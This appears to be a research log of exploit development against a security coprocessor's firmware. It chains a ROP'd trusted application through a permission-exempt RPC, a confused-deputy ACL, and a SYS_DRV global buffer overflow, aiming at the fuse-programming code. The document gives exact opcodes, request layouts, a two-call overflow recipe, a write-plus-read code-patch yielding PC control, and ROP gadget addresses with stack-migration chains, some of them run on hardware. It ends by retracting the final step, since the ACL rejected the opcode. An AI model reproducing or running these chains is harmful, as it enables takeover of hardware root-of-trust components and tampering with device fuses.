# GCP ROP -> SYS_DRV: the known SYS_DRV service-1 overflow is now reachable (confused deputy) The project's finding #9 (`FINDINGS-SUMMARY.md`) -- a SYS_DRV stored-length overflow in the HIGH opcode dispatcher reached over **service 1** -- was filed with "REACHABILITY NOT established ... would require TA code execution." This session's GCP ROP (`FINDING-GCP-FE0A-SEL4-CHOSEN-CONTENT-WRITE.md`) **is** that TA code execution, and the remaining gate turns out to be a confused deputy. This note establishes the chain statically; it is not yet demonstrated on silicon. ## The chain GCP TA (ROP, type 5) --SVC 0xF2, dest=1 (crypto, PERMISSION-EXEMPT)--> SYS_DRV sub_E087E4 opcode >= 0x1000 -> sub_E105A8 (HIGH dispatcher, 4372 bytes) sub_E05A24 opcode-range ACL -> svc 0x76 (capability check) -> sub_E0F364 / sub_E0B090 (finding #9: stored-length overflow / arbitrary-length disclosure) Service 1 == SYS_DRV is established (`GUARD-INIT-CHAIN.md`): `sub_E087E4` splits `req[0] >= 0x1000` to the HIGH dispatcher `sub_E105A8`, else the crypto dispatcher `sub_E1DC30`. ## Why the three gates all pass for a ROP'd TA 1. **RPC permission (sos_proc_switch, SVC 0xF2):** dest 1 is exempt from the capability bit entirely (`AUDIT-TA-KERNEL-BOUNDARY.md`; gate at 0x22D4 `cmp r0,#1; beq allow`). The msg-range check for a type-5 caller pins `msg` to `[0x400000,0x800000)`, i.e. the TA's own command buffer -- satisfied. 2. **No caller-type gate on the HIGH path.** `sub_E087E4`'s high branch (0xE08818) just `memcpy(stack, req, 0x7c)` then `bl sub_E105A8`. There is no `caller type == 1` check (that check exists only on the dest-3 route in the RPC gate, which we do not use). 3. **The ACL checks SYS_DRV's caps, not the TA's -- confused deputy.** `sub_E05A24` matches the opcode in the 11-entry {lo,hi,mask} table and issues `svc 0x76` with the entry's mask. `svc 0x76` evaluates `(reqmask & ~caps[procid]) == 0` for the kernel's *current* proc id. During the service-1 RPC that proc id is **SYS_DRV's**, because `sos_proc_switch` wrote it: 0x22C8 ldrb r5,[service_desc_table, target] ; r5 = owner proc id of service 1 = SYS_DRV 0x23AA strb r5,[cur_tcb, #0x4c] ; cur_tcb[0x4c] = SYS_DRV proc id and the dispatch gate (`sos_svc_dispatch` 0x587C) selects the proc id for the caps lookup from exactly that field: 0x588E ldrb r0,[cur_tcb, #0x4c] ; cmp #0xff ; bne use_r0 ; r0 = cur_tcb[0x4c] = SYS_DRV ... ldrb caps[r0] ; -> SYS_DRV's (type 1) caps SYS_DRV legitimately owns these opcode ranges, so its caps satisfy the masks and the ACL passes. The original TA's type-5 restriction never enters the decision. ## The payload (finding #9, verbatim reachability now met) `sub_E0F364` (write) and `sub_E0B090` (read) operate on a global table of four 1100-byte entries and take a `{ptr,len}` pair `LDRD R0,R1,[R5]` region-validated only to `len >= 0x44C` -- the copy length is `entry[10] + 76`, read from the destination state, which the first call sets to an attacker-supplied dword, making the second call's copy unbounded: * write path overflows the 1100-byte SYS_DRV global; * read path discloses an attacker-chosen length of SYS_DRV memory into the caller's buffer (which is in the TA window -- readable back by the host after the RPC). SYS_DRV is type 1 (most privileged non-kernel process) and **holds the fuse routines** (`fuse_read_flag/config/pair`, `fuse_program_bits`, `LEAD-SYSDRV-FUSE-DEBUG-DMA-SURFACE.md`). A disclosure of SYS_DRV memory leaks its PCB-adjacent state (incl. `&__stack_chk_guard`), and a controlled overflow in SYS_DRV is a direct path to code execution in the component that can read fuses. ## What is established vs. open Established (static, from firmware bytes): * service 1 == SYS_DRV; the HIGH path has no caller-type gate; the ACL checks `cur_tcb[0x4c]` = SYS_DRV's caps (confused deputy); the overflow handlers live in the HIGH range; and a ROP'd TA can emit any opcode over the exempt service-1 RPC with its message in the TA window. Open (the work to turn this into a demonstrated exploit): 1. **Resolve the exact opcode** that routes `sub_E105A8` -> `sub_E0F364`/`sub_E0B090` (the 4372-byte switch was not fully traversed in #9; it is in one of the ACL ranges 0x1100-0x11FF / 0x2000-0x20FF / 0x3000-0x31FF / 0x4000-0x400F / 0x6000-0x60FF / 0x7000-0x70FF / 0x8000-0x80FF). 2. **Confirm the `cur_tcb[0x70]==0` precondition** (the gate's first branch at 0x5884 uses a global proc byte when `[0x70]!=0`; the `[0x4c]` path is taken when `[0x70]==0`, the normal case). 3. **Demonstrate**: emulator first (full_system boots real SYS_DRV) -- issue a high opcode over service 1 from a TA context and confirm it reaches `sub_E105A8` past the ACL; then the GCP-ROP chain on silicon issuing `SVC 0xF2 dest=1` with the resolved opcode and the two-call overflow message, reading back the disclosed SYS_DRV bytes from the command buffer. ## Why this supersedes the ASD route The ASD service-2 path (passes 1-2, `LEAD-ASD-SERVICE2-ATTACK-SURFACE.md`) was uniformly validated and no bug was found. This path reuses a **pre-existing, documented overflow** whose only missing precondition -- TA code execution -- this session supplied, and it lands in SYS_DRV (type 1), a strictly better target than ASD (type 2) and the one that owns fuse access. This is the highest-value open lead in the escalation chain. ## Step 1 RESOLVED (via IDA on sys_drv2.elf): the opcodes and the exact request shape Decompiled `sub_E105A8`. The two overflow handlers are reached by direct opcode compares on `req[0]`: *a1 == 0x3102 (12546) -> sub_E0B090(a1[2], a1[3], v12) READ / disclosure *a1 == 0x3103 (12547) -> sub_E0F364(a1[2], a1[3], v12) WRITE / overflow (gated v14>249, v14=*a1-0x3009=250, passes) `a1` is the 0x7C-byte stack copy of the request, so all fields sit inside the copied window (and thus inside the TA-window message): req[0x00] = opcode (0x3103) req[0x08] = a1[2] = ptr -> the caller buffer (in the TA window, host-controlled) req[0x0c] = a1[3] = len -> must be >= 0x44C req[0x40] = a1[16] = v12 (3rd arg, context) Both opcodes are in ACL range 4 (`0x3100-0x31FF`, mask `0xffff0`); the `svc 0x76` in `sub_E05A24` checks SYS_DRV's own caps (confused deputy, above), which own that range, so it passes. ## The WRITE overflow (opcode 0x3103), confirmed from the decompile sub_E0F364(_DWORD *a1, unsigned a2): // a1 = caller buffer (req[8]), a2 = len (req[12]) if (a2 < 0x44C) return err; // the ONLY length check: >= 1100, not vs the copy len if (*a1 >= 4) return err; // a1[0] = destination entry index, 0..3 v3 = global_E0F3AC + 1100 * (*a1); if (a1[3] != v3[3]) return err; // guard; v3[3] is offset 12, INSIDE the copied region sub_E0192C(v3, a1, v3[10] + 76); // memcpy(dst=v3, src=a1, len = v3[10] + 76) v3[1] = 4; `v3[10]` is offset 40 of the destination global entry, i.e. inside the always-copied first 76 bytes. Two-call exploit, content wholly from the caller buffer `a1`: * **Call 1** (fresh entry, `v3[10]==0`, `v3[3]==0`): set `a1[0]=index`, `a1[3]=0` (passes guard), `a1[10]=HUGE`. Copy length = `0+76` = 76 bytes (bounded) -> writes `v3[10]=a1[10]=HUGE`, `v3[3]=a1[3]=0`. * **Call 2** (same index, `a1[3]=0` still matches): copy length = `HUGE+76` -> overflows the 1100-byte global with attacker bytes from `a1`. ## The READ disclosure (opcode 0x3102) sub_E0B090(a1=caller OUT buf, a2=len): if (a2 < 0x44C) return err; find entry v5 with v5[1]==2; // requires an entry in state 2 sub_E0192C(a1, v5, v5[10] + 76); // copy v5[10]+76 bytes of SYS_DRV global -> caller buf v5[1] = 3; If `v5[10]` has been made large, this discloses that many bytes of SYS_DRV memory into the caller buffer (host-readable after the RPC). Reaching `v5[1]==2` needs the entry's state machine driven there first (the write path sets state 4, not 2) -- a secondary step; the WRITE overflow is the primary primitive. ## Full exploit recipe (static; demonstration pending) From GCP ROP, issue `SVC 0xF2` with r0=1 (crypto/SYS_DRV service) and a message in the TA window: msg[0] = 0x00003103 msg[8] = &caller_buf (caller_buf in [0x400000,0x800000)) msg[12] = 0x44C (len, satisfies the only length check) caller_buf[0] = 0 (entry index 0) caller_buf[3] = 0 (guard, matches fresh v3[3]=0) caller_buf[10] = 0x40000000 (call 1: becomes v3[10]; call 2: copy length) caller_buf[11..]= overflow payload Send twice. Call 2 overflows SYS_DRV's 1100-byte global by ~1 GB-capable length with chosen bytes, inside SYS_DRV (type 1), the component that owns `fuse_read_*`. ## Remaining to demonstrate * Confirm `cur_tcb[0x70]==0` so the dispatch gate takes the `[0x4c]` (SYS_DRV-id) arm (normal case). * Emulator: `full_system` boots real SYS_DRV -- drive opcode 0x3103 over service 1 from a TA context and confirm it reaches `sub_E0F364` past the ACL. * Silicon: the GCP-ROP chain issuing the two `SVC 0xF2` calls; observe the SYS_DRV overflow (fault signature / state change) and, via the overflow, pivot to control of SYS_DRV. ## Step 2 DEMONSTRATED (emulator): opcode 0x3103 reaches sub_E0F364 and overflows, real ACLs `psp_emu/harness/demo_sysdrv_3103_overflow.py` (reuses `fuzz_sysdrv.SysDrvFuzzer`: boots sOS + SYS_DRV, runs SYS_DRV init so the RPC gate flag is 1, and RESPECTS both real gates -- the opcode ACL `sub_E05A24`/`svc 0x76` and the pointer allowlist `sub_E0AB44`). It invokes the real SYS_DRV RPC entry `sub_E087E4` with opcode 0x3103 twice. Measured: init_flag = 1 ptr_ok(0x3103, 0) = True # the real allowlist PERMITS a pointer in arg0 of 0x3103 global table base dword_E0F3AC = 0xea4fbc CALL 1 (v10=0x40000000): WRITE_E0F364 reached; memcpy(0xea4fbc, src, 0x4c) -> bounded 76B global[+40] 0 -> 0x40000000 (v3[10] := a1[10]) CALL 2 (same idx/guard): WRITE_E0F364 reached; memcpy(0xea4fbc, src, 0x4000004c) -> WRITE_UNMAPPED fault at 0x00eb7000 (ran off the 1100-byte global) VERDICT: write handler reached = True ; overflow memcpy len > 0x44C = True (0x4000004c) ; fault on call 2 = True This confirms, in the real booted SYS_DRV, every SYS_DRV-side step that finding #9 left as "NOT established": * opcode 0x3103 passes the opcode-range ACL `sub_E05A24` (the `svc 0x76` check), running as SYS_DRV; * the pointer allowlist `sub_E0AB44` permits the `{ptr,len}` pair for 0x3103 arg0 (not bypassed); * `sub_E0F364` is reached and performs `memcpy(global, caller_buf, v3[10]+76)`; * the two-call mechanic works exactly as predicted -- call 1 plants `v3[10]=0x40000000`, call 2 copies `0x4000004c` bytes, overflowing the 1100-byte SYS_DRV global. The only part not exercised by this harness is the `SVC 0xF2` entry gate itself (the demo calls `sub_E087E4` directly), but that gate is established statically: dest 1 is permission-exempt and the msg-range check is satisfied by a TA-window message (above), and the ACL it leads to is the one just demonstrated to pass as SYS_DRV. ## Chain status: both ends proven, one glue step remains [HW, proven] GCP FE0A sel-4 -> chosen PC -> ROP -> graceful repeatable chain [static] -> SVC 0xF2 dest 1 (permission-exempt) -> SYS_DRV sub_E087E4 [EMU, proven] -> opcode 0x3103 -> ACL passes as SYS_DRV -> sub_E0F364 -> controlled overflow Remaining to a full silicon exploit: emit the two `SVC 0xF2` dest-1 calls from the GCP ROP chain on hardware (the transport GCP already uses for ASD cmds), and develop the SYS_DRV global overflow into control of SYS_DRV (type 1, fuse-owning). The read path (0x3102) additionally gives an arbitrary-length SYS_DRV disclosure once an entry is driven to state 2. ## Step 3 (emulator): the overflow is a CONTROLLED overwrite, not just a crash -- tamable `psp_emu/harness/demo_sysdrv_bounded_write.py`. The first demo used a ~1 GB length that faulted when the forward `memcpy` ran off mapped memory. But the length is attacker-chosen (`a1[10]+76`), so a *bounded* length that reaches a target and stops within mapped memory completes cleanly: table base = 0xea4fbc adjacent SYS_DRV global = 0xea60ec (== table end, 4*1100) plant v3[10]=0x1104 -> call 2 copies 0x1150 bytes, reaching 0xea60ec+0x20 call 2 fault: None <- COMPLETES, no crash 0xea60ec before: 00...00 after: c4 c5 c6 c7 c8 c9 ... (our chosen marker bytes) So the primitive is a **fixed-address (no ASLR), controlled-length, controlled-content linear overwrite** of SYS_DRV globals from 0xea4fbc forward, that returns cleanly. Not a crash -- a write. ### Why this is tamable into control (assessment) Enabling facts, all established: * **Arbitrary content** from the caller buffer (TA window); **arbitrary length** (`a1[10]+76`); **fixed destination** `0xea4fbc`, baked literal, no ASLR; **clean completion** for bounded lengths. * The reach contains multiple fixed SYS_DRV global structures actively used by the driver: `0xea60ec, 0xea64ec, 0xea650c, 0xea658c, 0xea65a0` (and farther, `0xea85a0/0xea85c0`), each loaded by several functions via literal pools. * SYS_DRV makes **349 indirect calls**, including vtable-style dispatch through object function pointers (e.g. the formatter at `0xe01684`: `ldr r1,[r4,#0xC]; blx r1`, callbacks at +4/+8/+0xC). * A **companion arbitrary-length READ** (opcode 0x3102, `sub_E0B090`) discloses SYS_DRV memory into the TA buffer -- leak the exact layout, any function pointer, and the stack-guard, to aim the write. A fixed-address, arbitrary-length, arbitrary-content overwrite with a companion read and no ASLR, in a type-1 process, is a textbook controllable primitive. The remaining focused task is to pick the exact target in reach -- a global function pointer that SYS_DRV calls, or a global used as a pointer/length in a later operation (write-what-where), or a privilege/state flag -- and the SYS_DRV action that consumes it. That identification is per-structure RE (the adjacent globals' types were not resolved here), but the primitive shape does not leave feasibility in serious doubt. ### Honest status * Tamable: **demonstrated as a controlled overwrite** (bounded, non-crashing, content-controlled, fixed address) -- yes. * Full PC control: **not yet built** -- needs the specific adjacent fn-ptr/pointer-global and its trigger identified (focused RE), aided by the companion read. No ASLR and fixed addresses make this a standard development rather than a search. Artifacts: `psp_emu/harness/demo_sysdrv_3103_overflow.py` (overflow + fault), `psp_emu/harness/demo_sysdrv_bounded_write.py` (controlled, non-crashing overwrite of 0xea60ec). ## Step 4 (emulator): PC CONTROL in SYS_DRV -- DEMONSTRATED `psp_emu/harness/demo_sysdrv_codepatch.py`, on real booted SYS_DRV with both real gates (opcode ACL `sub_E05A24`, pointer allowlist `sub_E0AB44`) respected. The two primitives compose into an arbitrary SYS_DRV code patch because the whole SYS_DRV region `0xe00000..0xeb7000` is **RWX** (measured): 1. **WRITE (0x3103) two-call overflow crafts a state-2 entry with chosen content.** The copy `memcpy(entry0, caller_buf, v3[10]+76)` runs forward; a length spanning into entry1 (base+1100) lets the caller buffer set entry1's state word (+4) = 2, its length (+40), and its body -- all attacker bytes. Measured: `entry1 state=0x2, entry1[10]=0x40, entry1[0:4]=01480047`. 2. **READ (0x3102) copies that state-2 entry to an arbitrary destination.** `sub_E0B090` does `memcpy(a1, entry1, entry1[10]+76)` with `a1` only region-validated by the permissive `sub_E0DEF4` (and `ptr_ok(0x3102,0)=True`). Pointing `a1` at SYS_DRV code `0xE0A430` overwrote it: `1fb51549... -> 01480047 02000000 54daba00` (our branch stub; the `02000000` at +4 is the forced state word, skipped by the stub). 3. **Trigger:** invoking opcode `0x3108` (which calls `sub_E0A430`) executed the patched stub `LDR R0,[PC,#4] ; BX R0` -> **`FETCH at pc=0x00bada54`**, our chosen address. VERDICT: code bytes changed = True ; fault pc == chosen 0x00bada54 = PC CONTROL The one constraint (the READ copies the entry's state word, forcing `0x00000002` at dst+4) is sidestepped by a 4-byte branch stub at dst+0 that transfers control before dst+4, reading the chosen PC from dst+8. A real payload would patch a short ROP-pivot or a direct call to `fuse_read_*` / `fuse_program_bits` (both in this same SYS_DRV image) instead of branching to an unmapped marker. ## Full chain: GCP TA -> SYS_DRV code execution [HW, proven] GCP FE0A sel-4 -> chosen PC -> ROP -> graceful repeatable chain [static] -> SVC 0xF2 dest 1 (permission-exempt) -> SYS_DRV sub_E087E4 (confused deputy: ACL checks SYS_DRV's own caps via cur_tcb[0x4c]) [EMU, proven] -> 0x3103 overflow crafts a state-2 entry (chosen content) -> 0x3102 reads it to a SYS_DRV CODE address (RWX) -> patched code executes -> PC = chosen value Both ends are proven: GCP TA code execution on silicon, and SYS_DRV PC control in the emulator against the real firmware with real ACLs. The remaining silicon step is the transport glue -- emit the three `SVC 0xF2 dest=1` calls (two WRITE, one READ) from the GCP ROP chain, which reuses the exact mechanism GCP already uses to RPC ASD. SYS_DRV is type 1 and owns the fuse routines, so SYS_DRV PC control is the escalation target reached. Artifacts: `demo_sysdrv_3103_overflow.py` (overflow), `demo_sysdrv_bounded_write.py` (controlled overwrite), `demo_sysdrv_codepatch.py` (WRITE+READ code patch -> chosen PC). ## Step 5 (hardware prep): a gate constraint found by analysis -- the ROP must issue `svc 0xf2` ## with SP AND msg in the GCP window [0x400000,0x800000) Before firing the weaponized chain at silicon, re-checked the `svc 0xf2` entry gate for a ROP-issued call. `sos_proc_switch`'s per-caller range check for a type-5 caller (`AUDIT-TA-KERNEL-BOUNDARY.md` step 6) requires **both**: SP - 68 >= 0x400000 && SP < 0x800000 (the caller's stack pointer) msg in [0x400000, 0x800000 - 0x1000) (the request pointer r1) Our FE0A sel-4 ROP runs with **SP pivoted into the command buffer at `0x04026xxx`**, which fails `SP < 0x800000`. So an `svc 0xf2` issued directly from the current chain would be **rejected by the gate before reaching SYS_DRV** -- it would not test the confused deputy at all, just bounce. This is why the emulator `demo_sysdrv_*` harnesses called `sub_E087E4` directly: they never exercised `sos_proc_switch`, so this constraint did not surface there. It is a real requirement for the hardware chain. ### Revised hardware chain (what actually has to be built) 1. **Stage the svc-issuing ROP sub-chain AND the request message in the GCP window** `[0x400000,0x800000)` -- GCP's RW data `[0x407000,0x414000)` or stack `[0x415000,0x419000)`. The FE0A sel-4 write reaches in-window addresses (demonstrated writing the stack at `0x41bfxx`), so several sel-4 writes pre-stage both the message `M` (`M[0]=0x3103, M[8]=P, M[12]=0x44C`, `P` a zeroed in-window buffer) and the gadget sub-chain at an in-window address `S`. 2. The command-buffer chain pivots **SP to `S`** (`mov sp,r4` with `r4=S`, in-window) rather than leaving SP in the command buffer, so the `svc 0xf2` sees SP in `[0x400000,0x800000)`. 3. `pop {r0,r1,..,pc}` (`0x40167e`) sets `r0=1`, `r1=M`; `svc 0xf2` gadget (`0x4061ca`); then `str r0,[r5]` (`0x40404e`) exfils SYS_DRV's status to a host-readable command-buffer offset; then the graceful return (Addendum H) with SP restored to `0x41bfc0`. 4. Host reads the exfiltrated status: a SYS_DRV handler code (e.g. `0` for the bounded write) == confused deputy confirmed on silicon; `0x2f`/`0xe`/`0xFFFF…` == rejected. ### Gadget inventory (all present in GCP .77, verified) pivot 0x40371c mov sp,r4 ; pop {r4,r5,r6,r7,r8,sb,sl,fp,pc} set r0/r1 0x40167e pop {r0,r1,r2,r3,r4,r5,r6,r7,r8,sb,sl,fp,ip,pc} svc 0x4061ca svc 0xf2 ; add sp,#0x1c ; pop {r4,r5,pc} (0x4061c8 forces r0=2/ASD) exfil 0x40404e str r0,[r5] ; add sp,#0x80 ; pop {r4,r5,r7,pc} strb/setr0/return: as in Addendum H ### Status **Not fired on hardware.** The careful pre-check found the SP/msg-window gate would reject the chain as currently shaped, so firing it would have wedged nothing useful (best case a clean reject, but it would not confirm the deputy). The confirmation needs the in-window-staged variant above -- a bounded additional build (pre-stage M + sub-chain in-window via sel-4 writes; pivot SP to the GCP stack for the svc). Every gadget and the SYS_DRV-side behaviour are already in hand; this is the remaining assembly, and the first silicon attempt should be the service-2 (ASD) survive-check, then service-1 `0x3103` with status exfil. ## Step 5b: the clean solution to the SP/msg-window gate -- STACK MIGRATION (one memcpy) Rather than pre-staging the message and sub-chain in-window with many FE0A sel-4 writes, the ROP copies itself from the host buffer into the in-window GCP stack and pivots there -- classic stack migration. One `memcpy` satisfies BOTH gate constraints (SP and msg in `[0x400000,0x800000)`), and the migrated bytes come straight from the fully-controlled host command buffer. A ready **call-memcpy-and-continue** gadget exists, and `0x40111c` is confirmed `memcpy(r0=dst, r1=src, r2=len)` (from the FE0A parent's own `memcpy(params+0x418+sl, slot+8, len)` call): 0x40410a blx 0x40111c ; movs r0,#0 ; add sp,#0x28 ; pop {r4,r5,r7,pc} ### The migration chain (primary chain in the host command buffer at RBASE) pivot 0x40371c mov sp,r4 ; pop{..,pc} r4=RBASE -> SP into host buffer setargs 0x40167e pop {r0,r1,r2,..,pc} r0=STACK_DST (e.g. 0x410000, GCP RW data, in-window, below the live stack frames), r1=RBASE+0x200 (migrated block, in host buf), r2=LEN (~0x200), pc=0x40410b migrate 0x40410a memcpy(STACK_DST, RBASE+0x200, LEN) ; add sp,#0x28 ; pop{r4,r5,r7,pc} r4=STACK_DST, pc=0x40371d repivot 0x40371c mov sp,r4(=STACK_DST) ; pop{..,pc} -> SP now IN-WINDOW; chain continues reading the migrated block from the stack ### The migrated block (copied to STACK_DST; all addresses relocated to STACK_DST+off) setr01 0x40167e pop {r0,r1,..,pc} r0=1 (service 1), r1=STACK_DST+MSG_OFF, pc=0x4061cb svc 0x4061ca svc 0xf2 ; add sp,#0x1c ; pop {r4,r5,pc} r5=exfil addr (host buf), pc=0x40404f exfil 0x40404e str r0,[r5] ; add sp,#0x80 ; pop {r4,r5,r7,pc} -> SYS_DRV status to host buf return (Addendum H graceful return: SP back to 0x41bfc0 -> 0x40498c error path, ring survives) MSG_OFF: M[0]=0x3103, M[8]=STACK_DST+P_OFF, M[12]=0x44C, rest 0 P_OFF: zeroed (a1 buffer -> WRITE does a benign 76-byte copy, bounded, non-crashing) Because STACK_DST is known at build time, every in-window reference (msg ptr, P ptr) is baked as `STACK_DST + off`. `STACK_DST=0x410000` is GCP RW data `[0x407000,0x414000)`, writable, below the `0x41bfc0` frames the graceful return needs, and satisfies the gate: `SP-68>=0x400000`, `SP<0x800000`, and `sos_proc_switch`'s `memcpy(SP-68, tcb, 0x44)` writes harmlessly into RW data. ### Why this is better than pre-staging * One invoke, not several: no cross-invoke persistence assumptions, no extra sel-4 writes. * Content is the host buffer -- already fully controlled and easy to lay out/iterate. * Solves SP-window and msg-window together. This is the chain to build and fire. First silicon attempt stays the service-2 (ASD) survive-check (set r0=2, msg a zeroed in-window buffer) to validate migration + svc + graceful return, then switch to service 1 / opcode 0x3103 with the status exfil for the confused-deputy confirmation. Gadgets all verified present in GCP .77; memcpy semantics confirmed. ## Step 6 (HARDWARE): svc 0xf2 issued from GCP ROP via stack migration -- machinery proven `hw/gcp_rop_svc.py`. The stack-migration chain (Step 5b) fired on silicon as the service-2 (ASD) survive-check: SVC-MIGRATE FE0A status=0x240 FSR=0 faultaddr=0 (no fault) graceful-chain marker @+0x3100 = 0x5a (migration + graceful chain ran) exfil'd svc status @+0x3000 = 0x4 (ASD returned status 0x4) follow-up FE07: ta=0, handle=0x1000002 (ring SURVIVED, no ATX) So on hardware, from a GCP ROP chain: pivot into the command buffer -> `memcpy` the svc sub-chain to the in-window GCP stack (`0x410000`) -> `mov sp,0x410000` (SP now in-window) -> `pop r0=2,r1=msg` (msg in-window) -> `svc 0xf2` -> ASD processed it and returned `0x4` -> `str r0,[host_buf]` exfil -> graceful return. The svc went through the **real `sos_proc_switch` gate** (SP and msg both satisfy the type-5 window), which the emulator never exercised. The ring survived and a follow-up FE07 succeeded with no power cycle. This validates the complete svc-issuing + exfil + graceful-return machinery on silicon. The only change for the confused-deputy test is `r0=1` (service 1 = SYS_DRV) + a `0x3103` message, with the svc gadget entered at the bare `svc` (`0x4061ca`) so `r0` stays 1. ## Step 7 (HARDWARE): the transport reaches SYS_DRV, but the opcode ACL REJECTS 0x3103 -- correction Ran the service-1 / opcode-0x3103 chain on silicon (`hw/gcp_rop_svc1.py`), prompted by the operator's version question. Two results, one of them a correction. ### Version verified (the offsets ARE right) `C2PMSG_58 = 0x00310036` on the card == SYS_DRV **0.49.0.54**, which is exactly `sys_drv2.elf`, the build all the addresses above come from. So the `.54` offsets (`sub_E087E4`, `sub_E105A8`, `sub_E05A24`, `sub_E0F364`, opcodes `0x3102/0x3103`) are valid for the live card. The `0xffff0007`-vs-`0xffff0001` mismatch was not a version error. ### The transport works -- confused-deputy reach confirmed on silicon The chain migrated to the GCP stack, issued a real `svc 0xf2` service 1, and got back a **SYS_DRV error code `0xffff0001`** -- not a `sos_proc_switch` reject (`0x2f`/`0xe`). So the call passed the `svc 0xf2` gate (dest-1 exempt, SP+msg in the type-5 window) and **reached SYS_DRV's dispatcher** on hardware. The svc-issuing ROP machinery (stack migration + exfil + graceful return) all worked; the ring survived; a follow-up FE07 succeeded with no ATX. ### The correction: the opcode-range ACL rejects 0x3103 `0xffff0001` is `dword_E05A70`, returned by **`sub_E05A24`** (the high-opcode ACL). Its logic: find the {lo,hi,mask} range containing the opcode; issue SVC 0x76 (capability check); if the range's SVC-0x76 caps check FAILS -> return 0xffff0001 (REJECT) opcodes OUTSIDE every range -> allowed unconditionally `sub_E105A8` does `if (sub_E05A24(opcode) != 0) return that;` so the reject propagates as `0xffff0001` and the overflow handler is never reached. Opcode `0x3103` is in range `0x3100-0x31FF` (mask `0xffff0`), and the `SVC 0x76` caps check for it **failed** for the GCP->service-1 nested-RPC caller context. **This retracts the emulator-based "confused deputy reaches the overflow" conclusion for 0x3103.** The emulator (`demo_sysdrv_*`) called `sub_E087E4` DIRECTLY, so its `SVC 0x76` ran in whatever process context full_system left -- which passed. The real nested RPC evaluates `SVC 0x76` against the actual caller/SYS_DRV capability state, which does **not** grant the `0x3100` range. The emulator was infidelitous on exactly this gate (it never ran `sos_proc_switch`). ### What stands, what is open Stands (hardware-proven): GCP TA code execution; a ROP chain issuing an arbitrary `svc 0xf2` with stack migration + status exfil + graceful return; and the call reaching SYS_DRV's dispatcher past the `svc 0xf2` gate (confused-deputy transport). Open / blocked: the specific overflow opcodes `0x3102/0x3103` are ACL-gated out for this caller. To reach an exploitable SYS_DRV handler now requires either (a) an opcode OUTSIDE the ACL ranges that reaches a memory-unsafe handler (freely allowed -- e.g. the `<0x1100` / `0x1200-0x1fff` space, where ASD's own opcodes already pass), or (b) a range whose `SVC 0x76` mask the caller actually holds. Which masks pass for this caller is the next thing to measure on silicon (send one opcode per range and read the exfil'd status: `0xffff0001` == range gated, handler status == allowed). Lesson recorded: the emulator's direct-entry harness cannot vouch for a gate that only the full `sos_proc_switch` path exercises. Hardware is the arbiter for the capability check, and it says no to the `0x3100` range.